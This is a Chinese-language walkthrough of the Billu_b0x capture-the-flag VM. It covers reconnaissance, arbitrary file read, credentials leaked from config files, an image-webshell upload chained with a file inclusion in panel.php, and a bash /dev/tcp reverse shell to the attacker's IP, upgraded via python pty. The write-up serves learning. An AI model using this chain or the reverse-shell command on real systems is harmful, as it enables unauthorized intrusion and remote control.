# Billu_b0x 打靶记录
# 前言
说起来应该算是第一次打这样的靶机,虽然没有独立完成,但是还是学到不少东西,也不知道算是什么难度的反正是看着网上大佬的方法打通了
# 靶机说明
目标是获取 root 权限
环境介绍:攻击机 win10、kail Linux
靶机 billu_b0x (运行与 VMware 中)
网络设置:VM 中均为 Nat 连接模式(否则 nmap 扫不到存活主机)
# 过程记录
# 信息收集
启动靶机这不必多说
先用 nmap 扫描,找到这个靶机的 ip 地址
扫描这个网段存活主机
发现开放了 80 和 22 端口,那么 ssh 和 http 都有了先看看 80 都有什么
看到登录框,但是没有发现 SQL 注入,用 dirsearch 扫描
看到文件很多,先看看都是实现什么功能的
add 上传文件
head.php 是首页的背景图片
images 是三张图片没发现能利用的东西
phpmy 是 phpmyadmin 数据库工具
in.php 是 phpinfo,知道了 php 版本,暂时未发现作用
panel 会被重定向暂时不知道是什么
test 文件提示,要传参 file,感觉这里可能会有任意文件读取 get 传参没反应,post 传参读取 etc/password
读取成功,这里尝试读取其他文件
# 任意文件读取利用
add.php
<?php | |
echo '<form method="post" enctype="multipart/form-data"> | |
Select image to upload: | |
<input type="file" name=image> | |
<input type=text name=name value="name"> | |
<input type=text name=address value="address"> | |
<input type=text name=id value=1337 > | |
<input type="submit" value="upload" name="upload"> | |
</form>'; | |
?> |
c.php(里面发现数据库的账号密码,可以使用)
<?php | |
#header( 'Z-Powered-By:its chutiyapa xD' ); | |
header('X-Frame-Options: SAMEORIGIN'); | |
header( 'Server:testing only' ); | |
header( 'X-Powered-By:testing only' ); | |
ini_set( 'session.cookie_httponly', 1 ); | |
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab"); | |
// Check connection | |
if (mysqli_connect_errno()) | |
{ | |
echo "connection failed -> " . mysqli_connect_error(); | |
} | |
?> |
show.php
<?php | |
include('c.php'); | |
if(isset($_POST['continue'])) | |
{ | |
$run='select * from users '; | |
$result = mysqli_query($conn, $run); | |
if (mysqli_num_rows($result) > 0) { | |
echo "<table width=90% ><tr><td>ID</td><td>User</td><td>Address</td><td>Image</td></tr>"; | |
while($row = mysqli_fetch_assoc($result)) | |
{ | |
echo '<tr><td>'.$row['id'].'</td><td>'.htmlspecialchars ($row['name'],ENT_COMPAT).'</td><td>'.htmlspecialchars ($row['address'],ENT_COMPAT).'</td><td><img src="uploaded_images/'.htmlspecialchars ($row['image'],ENT_COMPAT).'" height=90px width=100px></td></tr>'; | |
} | |
echo "</table>"; | |
} | |
} | |
?> |
# 法一,ssh 连接
因为其 22 端口开放,读取 PHP 默认配置文件是 config.inc.php,Linux 系统路径结合 phpmy,./phpmy/config.inc.php 直接查看账户信息
<?php | |
/* Servers configuration */ | |
$i = 0; | |
/* Server: localhost [1] */ | |
$i++; | |
$cfg['Servers'][$i]['verbose'] = 'localhost'; | |
$cfg['Servers'][$i]['host'] = 'localhost'; | |
$cfg['Servers'][$i]['port'] = ''; | |
$cfg['Servers'][$i]['socket'] = ''; | |
$cfg['Servers'][$i]['connect_type'] = 'tcp'; | |
$cfg['Servers'][$i]['extension'] = 'mysqli'; | |
$cfg['Servers'][$i]['auth_type'] = 'cookie'; | |
$cfg['Servers'][$i]['user'] = 'root'; | |
$cfg['Servers'][$i]['password'] = 'roottoor'; | |
$cfg['Servers'][$i]['AllowNoPassword'] = true; | |
/* End of servers configuration */ | |
$cfg['DefaultLang'] = 'en-utf-8'; | |
$cfg['ServerDefault'] = 1; | |
$cfg['UploadDir'] = ''; | |
$cfg['SaveDir'] = ''; | |
/* rajk - for blobstreaming */ | |
$cfg['Servers'][$i]['bs_garbage_threshold'] = 50; | |
$cfg['Servers'][$i]['bs_repository_threshold'] = '32M'; | |
$cfg['Servers'][$i]['bs_temp_blob_timeout'] = 600; | |
$cfg['Servers'][$i]['bs_temp_log_threshold'] = '32M'; | |
?> |
看到 root 的账号密码用 ssh 连接
# 法二,文件上传
通过上面找到的账号密码登录 phpmyadmin
在 ica_lab 的数据库表中得到的用户名 biLLu 和密码 hEx_it
去在首页登录
跳转到 panel 页面
<?php | |
session_start(); | |
include('c.php'); | |
include('head2.php'); | |
if(@$_SESSION['logged']!=true ) | |
{ | |
header('Location: index.php', true, 302); | |
exit(); | |
} | |
echo "Welcome to billu b0x "; | |
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>'; | |
if(isset($_POST['lg'])) | |
{ | |
unset($_SESSION['logged']); | |
unset($_SESSION['admin']); | |
header('Location: index.php', true, 302); | |
} | |
echo '<hr><br>'; | |
echo '<form method=post> | |
<select name=load> | |
<option value="show">Show Users</option> | |
<option value="add">Add User</option> | |
</select> | |
 <input type=submit name=continue value="continue"></form><br><br>'; | |
if(isset($_POST['continue'])) | |
{ | |
$dir=getcwd(); | |
$choice=str_replace('./','',$_POST['load']); | |
if($choice==='add') | |
{ | |
include($dir.'/'.$choice.'.php'); | |
die(); | |
} | |
if($choice==='show') | |
{ | |
include($dir.'/'.$choice.'.php'); | |
die(); | |
} | |
else | |
{ | |
include($dir.'/'.$_POST['load']); | |
} | |
} | |
if(isset($_POST['upload'])) | |
{ | |
$name=mysqli_real_escape_string($conn,$_POST['name']); | |
$address=mysqli_real_escape_string($conn,$_POST['address']); | |
$id=mysqli_real_escape_string($conn,$_POST['id']); | |
if(!empty($_FILES['image']['name'])) | |
{ | |
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']); | |
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION); | |
$image=array('jpeg','jpg','gif','png'); | |
if(in_array($r,$image)) | |
{ | |
$finfo = @new finfo(FILEINFO_MIME); | |
$filetype = @$finfo->file($_FILES['image']['tmp_name']); | |
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype )) | |
{ | |
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])) | |
{ | |
echo "Uploaded successfully "; | |
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; | |
mysqli_query($conn, $update); | |
} | |
} | |
else | |
{ | |
echo "<br>i told you dear, only png,jpg and gif file are allowed"; | |
} | |
} | |
else | |
{ | |
echo "<br>only png,jpg and gif file are allowed"; | |
} | |
} | |
} | |
?> |
通过文件读取获取 panel 的源码
文件上传部分仅允许上传图片文件,但是仅简单判断后缀名,尝试上传图片马文件
上传图片马
利用文件包含执行命令
反弹 shell kali 命令行里输入 nc -lvnp 6666 开始监听,同时 burp 的 post 请求中执行 echo "bash -i >& /dev/tcp/192.168.161.143/6666 0>&1" | bash,注意要将此命令先经过 URL 编码才能发送 (这个 ip 是攻击机的 IP 地址)
连接成功
提权显示需要终端,输入命令 python -c 'import pty;pty.spawn ("/bin/bash")'
python -c 'import pty;pty.spawn ("/bin/bash")' 解释
当我们拿到一个 webshell 的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当我们想使用 vim、top 等命令时,webshell 就无能为力了。
一般我们都会使用 nc 来接收反弹来的 shell,只需要在目标上 (以 linux 为例) 执行:
bash -i >& /dev/tcp/192.168.2.134/4444 0>&1 |
本地接收一下就 ok 了,但是反弹回来的 shell,或多或少都会存在问题,比如当我想使用 top 命令时就会提示没有 tty
。简单的来说就是没有上下文环境,这样的话, vim
, sudo
等操作都做不了,有时候还需要其他工具,很麻烦。
溢出提权
python -c 'import pty;pty.spawn("/bin/bash")' |
来得到交互的 Shell, 一般的系统都默认安装 python